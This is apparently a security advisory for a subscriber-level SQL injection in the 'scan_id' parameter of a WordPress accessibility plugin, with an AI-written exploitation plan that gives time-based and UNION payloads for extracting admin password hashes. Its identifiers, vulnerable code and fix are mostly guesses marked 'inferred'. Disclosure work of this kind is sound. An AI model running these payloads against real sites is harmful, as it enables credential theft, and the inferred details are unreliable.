Accessibility Suite by Ability, Inc <= 4.20 - Authenticated (Subscriber+) SQL Injection via 'scan_id' Parameter
Description
The Accessibility Suite by Ability, Inc plugin for WordPress is vulnerable to SQL Injection via the 'scan_id' parameter in all versions up to, and including, 4.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.20This research plan focuses on identifying and exploiting a SQL injection vulnerability in the **Accessibility Suite by Ability, Inc** plugin via the `scan_id` parameter. Since the source files are not provided, this plan relies on the vulnerability description and common WordPress plugin patterns, w…
Show full research plan
This research plan focuses on identifying and exploiting a SQL injection vulnerability in the Accessibility Suite by Ability, Inc plugin via the scan_id parameter. Since the source files are not provided, this plan relies on the vulnerability description and common WordPress plugin patterns, with all guessed identifiers marked as (inferred).
1. Vulnerability Summary
- Vulnerability: Authenticated SQL Injection
- Parameter:
scan_id - Affected Component: Likely an AJAX handler used to retrieve, display, or delete scan results.
- Root Cause: The
scan_idparameter is directly concatenated into a SQL query string without being passed through$wpdb->prepare()or being cast to an integer (e.g.,absint()or(int)). - Impact: A Subscriber-level user can extract sensitive information from the WordPress database, including user hashes, secret keys, and configuration data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
oa_get_scan_resultsoroa_get_report(inferred). - Payload Parameter:
scan_id - Authentication Required: Subscriber level (Priority: Low).
- Prerequisites: Valid Subscriber credentials and a valid AJAX nonce if the plugin implements CSRF protection.
3. Code Flow (Inferred Trace)
- Entry Point: The plugin registers an AJAX action via
add_action( 'wp_ajax_oa_get_scan_results', ... ). - Authentication Check: WordPress verifies the user is logged in. The plugin likely fails to check for high-level capabilities (e.g.,
manage_options), allowing Subscribers to access the handler. - Nonce Verification: The handler may call
check_ajax_referer()using a nonce localized in the admin dashboard or a plugin-specific settings page. - Data Acquisition: The code retrieves the user-supplied
scan_idfrom$_POST['scan_id']or$_GET['scan_id']. - The Sink: The unsanitized
scan_idis interpolated into a query:$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}oa_scans WHERE id = " . $_POST['scan_id']); - Execution:
$wpdb->get_results()executes the malicious SQL.
4. Nonce Acquisition Strategy
To bypass potential CSRF protection, the agent must extract the nonce from the WordPress admin area.
- Identify Script Localization:
- Use
grep -r "wp_localize_script" .to find the JavaScript variable name and nonce key. - Expected Variable Name:
oa_ajax_objoronline_accessibility_vars(inferred). - Expected Nonce Key:
nonceorajax_nonce(inferred).
- Use
- Create Access Environment:
- Login as a Subscriber.
- Navigate to the plugin's dashboard or a page where the plugin's results are shown.
- Extraction via Browser:
browser_navigate("/wp-admin/admin.php?page=online-accessibility")(inferred page slug).browser_eval("window.oa_ajax_obj?.nonce")(inferred JS path).
5. Exploitation Strategy
We will use a time-based blind SQL injection to confirm the vulnerability and then a UNION-based approach if the output is reflected.
Step 1: Confirm Injection (Time-based)
- Request Type: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action=oa_get_scan_results&nonce=[NONCE]&scan_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Expected Behavior: The HTTP response should be delayed by approximately 5 seconds.
Step 2: Data Extraction (UNION-based)
- Payload:
1 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1 -- - - Note: The number of columns must be determined by incrementing
NULLvalues until the query succeeds.
6. Test Data Setup
Before exploitation, ensure the plugin has "scans" in the database to target.
- Login as Admin: Log in to the dashboard.
- Trigger a Scan: Navigate to the "Accessibility Suite" settings and click "Start Scan" or "Save Settings" to generate a
scan_identry in the database. - Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- Time-based:
http_requesttotal time > 5.0s. - UNION-based: The response body contains the admin username and the
$P$or$wp$password hash.
8. Verification Steps
After the HTTP exploit, verify the database structure and the presence of the data you attempted to extract.
- Check Table Name:
wp db query "SHOW TABLES LIKE '%oa_%'" - Verify Content:
Compare this output to the data retrieved via the SQL injection.wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
If the wp_ajax_ action is strictly protected by a capability check higher than Subscriber, look for:
- Shortcode Handlers: If the plugin has a shortcode (e.g.,
[oa_results]) that allows users to view scan data, thescan_idmight be passed via$_GETto the page where the shortcode is rendered. - Grep for Sink:
This will identify all possible locations wheregrep -rP '\$wpdb->(get_results|get_row|query|get_var)\s*\([^;]*scan_id' .scan_idis used in a query.
Summary
The Accessibility Suite by Ability, Inc plugin for WordPress is vulnerable to SQL Injection via the 'scan_id' parameter in versions up to 4.20. Due to the lack of input sanitization and failure to use prepared statements, authenticated attackers with Subscriber-level privileges can execute arbitrary SQL commands to extract sensitive data from the database.
Vulnerable Code
// Inferred from vulnerability description and research plan // File: online-accessibility/includes/ajax-handler.php (inferred) $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}oa_scans WHERE id = " . $_POST['scan_id']);
Security Fix
@@ -10,1 +10,1 @@ - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}oa_scans WHERE id = " . $_POST['scan_id']); + $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}oa_scans WHERE id = %d", $_POST['scan_id']));
Exploit Outline
1. Login to the WordPress site with Subscriber-level credentials. 2. Locate the AJAX action (likely 'oa_get_scan_results' or similar) that processes the 'scan_id' parameter. 3. If necessary, obtain a valid AJAX nonce by inspecting localized JavaScript variables (e.g., 'oa_ajax_obj.nonce') in the WordPress dashboard. 4. Send a POST request to /wp-admin/admin-ajax.php containing the identified action and a SQL injection payload in the 'scan_id' parameter (e.g., '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). 5. Confirm the vulnerability via response timing (time-based blind injection) or by using UNION SELECT to retrieve sensitive information like user hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.